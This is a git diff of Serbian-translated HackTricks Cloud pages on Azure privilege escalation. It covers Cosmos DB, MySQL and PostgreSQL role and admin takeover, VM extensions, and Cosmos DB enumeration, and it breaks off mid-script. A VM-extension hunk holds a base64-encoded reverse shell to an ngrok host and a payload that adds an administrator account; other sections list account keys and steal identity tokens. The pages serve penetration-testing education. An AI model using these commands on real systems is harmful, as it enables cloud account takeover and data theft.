{% content-ref url="../az-services/az-cosmosDB.md" %}
|
||||
[az-cosmosDB.md](../az-services/az-cosmosDB.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ("Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleDefinitions/read") & ("Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/write", "Microsoft.DocumentDB/databaseAccounts/sqlRoleAssignments/read")
|
||||
|
||||
Sa ovim dozvolama možete eskalirati privilegije dajući korisniku dozvole za izvršavanje upita i povezivanje sa bazom podataka. Prvo se kreira definicija uloge koja daje neophodne dozvole i opsege.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role definition create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--body '{
|
||||
"Id": "<Random-Unique-ID>", # For example 12345678-1234-1234-1234-123456789az
|
||||
"RoleName": "CustomReadRole",
|
||||
"Type": "CustomRole",
|
||||
"AssignableScopes": [
|
||||
"/subscriptions/<subscription_id>/resourceGroups/sqldatabase/providers/Microsoft.DocumentDB/databaseAccounts/<account_name>"
|
||||
],
|
||||
"Permissions": [
|
||||
{
|
||||
"DataActions": [
|
||||
"Microsoft.DocumentDB/databaseAccounts/readMetadata",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/items/read",
|
||||
"Microsoft.DocumentDB/databaseAccounts/sqlDatabases/containers/*"
|
||||
]
|
||||
}
|
||||
]
|
||||
}'
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Nakon toga, dodeljivanje definicije se daje korisniku. Nakon toga, taj korisnik može koristiti DefaultAzureCredential() metodu povezivanja za izvršavanje upita.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb sql role assignment create \
|
||||
--account-name <account_name> \
|
||||
--resource-group <resource_group_name> \
|
||||
--role-definition-id <Random-Unique-ID-used-in-definition> \
|
||||
--principal-id <principal_id-togive-perms> \
|
||||
--scope "/"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DocumentDB/databaseAccounts/listKeys/action"
|
||||
Sa ovom dozvolom, možete preuzeti primarne i sekundarne ključeve za Azure Cosmos DB nalog. Ovi ključevi pružaju potpuni pristup nalogu baze podataka i njenim resursima, omogućavajući radnje kao što su čitanje podataka, pisanje i promene konfiguracije.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az cosmosdb keys list \
|
||||
--name <account_name> \
|
||||
--resource-group <resource_group_name>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,91 @@
|
||||
# Az - MySQL Database Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## MySQL Database Privesc
|
||||
Za više informacija o SQL Bazi podataka proverite:
|
||||
|
||||
{% content-ref url="../az-services/az-mysql.md" %}
|
||||
[az-mysql.md](../az-services/az-mysql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read" && "Microsoft.DBforMySQL/flexibleServers/write"
|
||||
|
||||
Sa ovom dozvolom, možete kreirati, ažurirati ili brisati MySQL Flexible Server instance na Azure-u. To uključuje obezbeđivanje novih servera, modifikovanje konfiguracija postojećih servera ili ukidanje servera.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <MySQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Na primer, ova dozvola omogućava promenu MySQL lozinke, što je korisno, naravno, u slučaju da je MySQL autentifikacija omogućena.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Pored toga, neophodno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### ""Microsoft.DBforMySQL/flexibleServers/read", "Microsoft.DBforMySQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforMySQL/flexibleServers/administrators/write" && "Microsoft.DBforMySQL/flexibleServers/administrators/read""
|
||||
|
||||
Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za MySQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dodeljuje potpuna administrativna kontrola nad MySQL serverom. Važno je da fleksibilni server ima dodeljene upravljane identitete za korišćenje.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az mysql flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -0,0 +1,93 @@
|
||||
# Az - PostgreSQL Privesc
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## PostgreSQL Privesc
|
||||
Za više informacija o SQL Bazi podataka proverite:
|
||||
|
||||
{% content-ref url="../az-services/az-postgresql.md" %}
|
||||
[az-postgresql.md](../az-services/az-postgresql.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read" && "Microsoft.DBforPostgreSQL/flexibleServers/write"
|
||||
|
||||
Sa ovom dozvolom, možete kreirati, ažurirati ili brisati PostgreSQL Flexible Server instance na Azure-u. Ovo uključuje obezbeđivanje novih servera, modifikovanje konfiguracija postojećih servera ili ukidanje servera.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server create \
|
||||
--name <ServerName> \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--location <Location> \
|
||||
--admin-user <AdminUsername> \
|
||||
--admin-password <AdminPassword> \
|
||||
--sku-name <SkuName> \
|
||||
--storage-size <StorageSizeInGB> \
|
||||
--tier <PricingTier> \
|
||||
--version <PostgreSQLVersion>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Na primer, ova dozvola omogućava promenu PostgreSQL lozinke, što je korisno naravno u slučaju da je PostgreSQL autentifikacija omogućena.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update \
|
||||
--resource-group <resource_group_name> \
|
||||
--name <server_name> \
|
||||
--admin-password <password_to_update>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
Pored toga, neophodno je omogućiti javni pristup ako želite da pristupite sa neprivatnog krajnjeg tačke, da biste to omogućili:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server update --resource-group <resource_group_name> --server-name <server_name> --public-access Enabled
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### "Microsoft.DBforPostgreSQL/flexibleServers/read", "Microsoft.DBforPostgreSQL/flexibleServers/write", "Microsoft.ManagedIdentity/userAssignedIdentities/assign/action", "Microsoft.DBforPostgreSQL/flexibleServers/administrators/write" && "Microsoft.DBforPostgreSQL/flexibleServers/administrators/read"
|
||||
|
||||
Sa ovom dozvolom, možete konfigurisati Azure Active Directory (AD) administratore za PostgreSQL Flexible Server. Ovo se može iskoristiti postavljanjem sebe ili drugog naloga kao AD administratora, čime se dobija potpuna administrativna kontrola nad PostgreSQL serverom. Ažuriranje postojećeg principala još nije podržano, tako da ako je jedan kreiran, prvo ga morate obrisati.
|
||||
|
||||
Važno je da fleksibilni server ima korisnički dodeljene upravljane identitete za korišćenje.
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
az postgres flexible-server ad-admin create \
|
||||
--resource-group <ResourceGroupName> \
|
||||
--server-name <ServerName> \
|
||||
--display-name <ADAdminDisplayName> \
|
||||
--identity <IdentityNameOrID> \
|
||||
--object-id <ObjectID>
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Učite i vežbajte AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Učite i vežbajte GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Podržite HackTricks</summary>
|
||||
|
||||
* Proverite [**planove pretplate**](https://github.com/sponsors/carlospolop)!
|
||||
* **Pridružite se** 💬 [**Discord grupi**](https://discord.gg/hRep4RUj7f) ili [**telegram grupi**](https://t.me/peass) ili **pratite** nas na **Twitteru** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Podelite hakerske trikove slanjem PR-ova na** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repozitorijume.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
@@ -34,7 +34,7 @@ az vm extension set \
|
||||
--settings '{}' \
|
||||
--protected-settings '{"commandToExecute": "nohup echo YmFzaCAtaSAgPiYgL2Rldi90Y3AvMi50Y3AuZXUubmdyb2suaW8vMTMyMTUgMD4mMQ== | base64 -d | bash &"}'
|
||||
```
|
||||
- Izvršite skriptu koja se nalazi na internetu
|
||||
- Izvršite skriptu smeštenu na internetu
|
||||
```bash
|
||||
az vm extension set \
|
||||
--resource-group rsc-group> \
|
||||
@@ -78,7 +78,7 @@ az vm extension set \
|
||||
```
|
||||
Možete takođe izvršiti druge payload-ove kao što su: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Resetujte lozinku koristeći VMAccess ekstenziju
|
||||
- Resetovanje lozinke koristeći VMAccess ekstenziju
|
||||
```powershell
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
@@ -105,7 +105,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
|
||||
<summary>DesiredConfigurationState (DSC)</summary>
|
||||
|
||||
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VM-ova. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VM-ovima putem ove ekstenzije:
|
||||
Ovo je **VM ekstenzija** koja pripada Microsoftu i koristi PowerShell DSC za upravljanje konfiguracijom Azure Windows VMs. Stoga se može koristiti za **izvršavanje proizvoljnih komandi** u Windows VMs putem ove ekstenzije:
|
||||
```powershell
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
@@ -157,7 +157,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hibridni Runbook Radnik</summary>
|
||||
|
||||
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [Automation Accounts service](../az-services/az-automation-account/).
|
||||
Ovo je VM ekstenzija koja bi omogućila izvršavanje runbook-ova u VM-ovima iz automatskog naloga. Za više informacija pogledajte [Automatske naloge](../az-services/az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -310,7 +310,7 @@ Prijavite se putem **SSH** sa **`az ssh vm --name <vm-name> --resource-group <rs
|
||||
|
||||
## `Microsoft.Resources/deployments/write`, `Microsoft.Network/virtualNetworks/write`, `Microsoft.Network/networkSecurityGroups/write`, `Microsoft.Network/networkSecurityGroups/join/action`, `Microsoft.Network/publicIPAddresses/write`, `Microsoft.Network/publicIPAddresses/join/action`, `Microsoft.Network/networkInterfaces/write`, `Microsoft.Compute/virtualMachines/write, Microsoft.Network/virtualNetworks/subnets/join/action`, `Microsoft.Network/networkInterfaces/join/action`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Sve ove dozvole su neophodne da bi se **napravio VM sa specifičnom upravljanom identitetom** i ostavio **port otvoren** (22 u ovom slučaju). Ovo omogućava korisniku da kreira VM i poveže se na njega i **ukrade tokene upravljane identitete** kako bi eskalirao privilegije na njega.
|
||||
Sve ove dozvole su neophodne da bi se **napravio VM sa specifičnom upravljanom identitetom** i ostavio **port otvoren** (22 u ovom slučaju). Ovo omogućava korisniku da kreira VM i poveže se sa njim i **ukrade tokene upravljane identitete** kako bi eskalirao privilegije na njega.
|
||||
|
||||
U zavisnosti od situacije, može biti potrebno više ili manje dozvola za zloupotrebu ove tehnike.
|
||||
```bash
|
||||
@@ -327,7 +327,7 @@ az vm create \
|
||||
```
|
||||
### `Microsoft.Compute/virtualMachines/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action`
|
||||
|
||||
Ove dozvole su dovoljne da **dodelite nove upravljane identitete VM-u**. Imajte na umu da VM može imati nekoliko upravljanih identiteta. Može imati **sistemsku dodeljenu identitet**, i **mnoge korisnički upravljane identitete**.\
|
||||
Ove dozvole su dovoljne da **dodelite nove upravljane identitete VM-u**. Imajte na umu da VM može imati nekoliko upravljanih identiteta. Može imati **sistemsku dodeljenu identitet** i **mnoge korisnički upravljane identitete**.\
|
||||
Zatim, iz servisa za metapodatke moguće je generisati tokene za svaki od njih.
|
||||
```bash
|
||||
# Get currently assigned managed identities to the VM
|
||||
@@ -346,7 +346,7 @@ az vm identity assign \
|
||||
Napadač mora **neki način kompromitovati VM** da bi ukrao tokene iz dodeljenih upravljanih identiteta. Proverite **više informacija u**:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#azure-vm
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
{{#endref}}
|
||||
|
||||
### TODO: Microsoft.Compute/virtualMachines/WACloginAsAdmin/action
|
||||
|
||||
357
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
357
src/pentesting-cloud/azure-security/az-services/az-cosmosDB.md
Normal file
@@ -0,0 +1,357 @@
|
||||
# Az - CosmosDB
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/image (2) (1).png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Azure CosmosDB
|
||||
|
||||
**Azure Cosmos DB** je potpuno **upravljana NoSQL, relacijska i vektorska baza podataka** koja nudi vreme odziva u milisekundama, automatsku skalabilnost i dostupnost podržanu SLA-om uz sigurnost na nivou preduzeća. Omogućava brži razvoj aplikacija kroz ključne višeregionalne distribucije podataka, open-source API-je, SDK-ove za popularne jezike i AI funkcije baze podataka kao što su integrisana podrška za vektore i besprekorno Azure AI integraciju.
|
||||
|
||||
Azure Cosmos DB pruža više API-ja za baze podataka kako bi modelovao stvarne podatke koristeći dokumente, relacione, ključ-vrednost, grafičke i kolone porodične modele podataka, a ovi API-ji su NoSQL, MongoDB, PostgreSQL, Cassandra, Gremlin i Table.
|
||||
|
||||
Jedan ključni aspekt CosmosDB-a je Azure Cosmos Account. **Azure Cosmos Account** deluje kao ulazna tačka za baze podataka. Račun određuje ključne postavke kao što su globalna distribucija, nivoi konzistentnosti i specifični API koji će se koristiti, kao što je NoSQL. Kroz račun možete konfigurisati globalnu replikaciju kako biste osigurali da su podaci dostupni u više regiona za pristup sa niskom latencijom. Pored toga, možete odabrati nivo konzistentnosti koji balansira između performansi i tačnosti podataka, sa opcijama koje se kreću od jake do eventualne konzistentnosti.
|
||||
|
||||
### NoSQL (sql)
|
||||
Azure Cosmos DB NoSQL API je API zasnovan na dokumentima koji koristi JSON kao svoj format podataka. Pruža SQL-sličnu sintaksu upita za upit JSON objekata, što ga čini pogodnim za rad sa strukturiranim i polu-strukturiranim podacima. Krajnja tačka usluge je:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
https://<Account-Name>.documents.azure.com:443/
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
#### Baze podataka
|
||||
Unutar naloga, možete kreirati jednu ili više baza podataka, koje služe kao logičke grupe kontejnera. Baza podataka deluje kao granica za upravljanje resursima i korisničkim dozvolama. Baze podataka mogu deliti obezbeđeni protok između svojih kontejnera ili dodeliti posvećeni protok pojedinačnim kontejnerima.
|
||||
|
||||
#### Kontejneri
|
||||
Osnovna jedinica skladištenja podataka je kontejner, koji sadrži JSON dokumente i automatski se indeksira za efikasno pretraživanje. Kontejneri su elastično skalabilni i distribuirani su preko particija, koje određuje korisnički definisan ključ particije. Ključ particije je ključan za obezbeđivanje optimalne performanse i ravnomernu distribuciju podataka. Na primer, kontejner može skladištiti podatke o kupcima, sa "customerId" kao ključem particije.
|
||||
|
||||
#### Enumeracija
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="az cli" %}
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
# CosmoDB Account
|
||||
## List Azure Cosmos DB database accounts.
|
||||
az cosmosdb list --resource-group <ResourceGroupName>
|
||||
az cosmosdb show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
## Lists the virtual network accounts associated with a Cosmos DB account
|
||||
az cosmosdb network-rule list --resource-group <ResourceGroupName> --name <AccountName>
|
||||
## List the access keys or connection strings for a Azure Cosmos DB
|
||||
az cosmosdb keys list --name <AccountName> --resource-group <ResourceGroupName>
|
||||
## List all the database accounts that can be restored.
|
||||
az cosmosdb restorable-database-account list --account-name <AccountName>
|
||||
## Show the identities for a Azure Cosmos DB database account.
|
||||
az cosmosdb identity show --resource-group <ResourceGroupName> --name <AccountName>
|
||||
|
||||
|
||||
# CosmoDB (NoSQL)
|
||||
## List the SQL databases under an Azure Cosmos DB account.
|
||||
az cosmosdb sql database list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List the SQL containers under an Azure Cosmos DB SQL database.
|
||||
az cosmosdb sql container list --account-name <AccountName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
## List all SQL role assignments under an Azure Cosmos DB
|
||||
az cosmosdb sql role assignment list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
## List all SQL role definitions under an Azure Cosmos DB
|
||||
az cosmosdb sql role definition list --resource-group <ResourceGroupName> --account-name <AccountName>
|
||||
|
||||
## List the SQL stored procedures under an Azure Cosmos DB
|
||||
az cosmosdb sql stored-procedure list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL triggers under an Azure Cosmos DB SQL container.
|
||||
az cosmosdb sql trigger list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
## List the SQL user defined functions under an Azure Cosmos DB SQL container
|
||||
az cosmosdb sql user-defined-function list --account-name <AccountName> --container-name <ContainerName> --database-name <DatabaseName> --resource-group <ResourceGroupName>
|
||||
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Az PowerShell" %}
|
||||
{% code overflow="wrap" %}
|
||||
```powershell
|
||||
Get-Command -Module Az.CosmosD
|
||||
|
||||
# List all Cosmos DB accounts in a specified resource group.
|
||||
Get-AzCosmosDBAccount -ResourceGroupName "<ResourceGroupName>"
|
||||
|
||||
# Get the access keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBAccountKey -ResourceGroupName "<ResourceGroupName>" -Name "<AccountName>"
|
||||
|
||||
# Retrieve the client encryption keys for a specific Cosmos DB account.
|
||||
Get-AzCosmosDbClientEncryptionKey -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# List all SQL containers in a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlContainer -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>"
|
||||
|
||||
# Get backup information for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerBackupInformation -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>" -Location "<location>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlContainerThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -Name "<ContainerName>"
|
||||
|
||||
# List all SQL databases under a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlDatabase -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# Get the throughput (RU/s) settings for a specific Cosmos DB SQL database.
|
||||
Get-AzCosmosDBSqlDatabaseThroughput -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -Name "<DatabaseName>"
|
||||
|
||||
# List all SQL role assignments for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleAssignment -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all SQL role definitions for a specific Cosmos DB account.
|
||||
Get-AzCosmosDBSqlRoleDefinition -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>"
|
||||
|
||||
# List all stored procedures in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlStoredProcedure -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all triggers in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlTrigger -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
|
||||
# List all user-defined functions (UDFs) in a specific Cosmos DB SQL container.
|
||||
Get-AzCosmosDBSqlUserDefinedFunction -ResourceGroupName "<ResourceGroupName>" -AccountName "<AccountName>" -DatabaseName "<DatabaseName>" -ContainerName "<ContainerName>"
|
||||
```
|
||||
{% endcode %}
|
||||
{% endtab %}
|
||||
{% endtabs %}
|
||||
|
||||
#### Povezivanje
|
||||
|
||||
Za povezivanje je potrebna azure-cosmosDB (pip install azure-cosmos) biblioteka. Pored toga, krajnja tačka i ključ su ključne komponente za uspostavljanje veze.
|
||||
{% code overflow="wrap" %}
|
||||
```python
|
||||
from azure.cosmos import CosmosClient, PartitionKey
|
||||
|
||||
# Connection details
|
||||
endpoint = "<your-account-endpoint>"
|
||||
key = "<your-account-key>"
|
||||
|
||||
# Initialize Cosmos Client
|
||||
client = CosmosClient(endpoint, key)
|
||||
|
||||
# Access existing database and container
|
||||
database_name = '<SampleDB>'
|
||||
container_name = '<SampleContainer>'
|
||||
database = client.get_database_client(database_name)
|
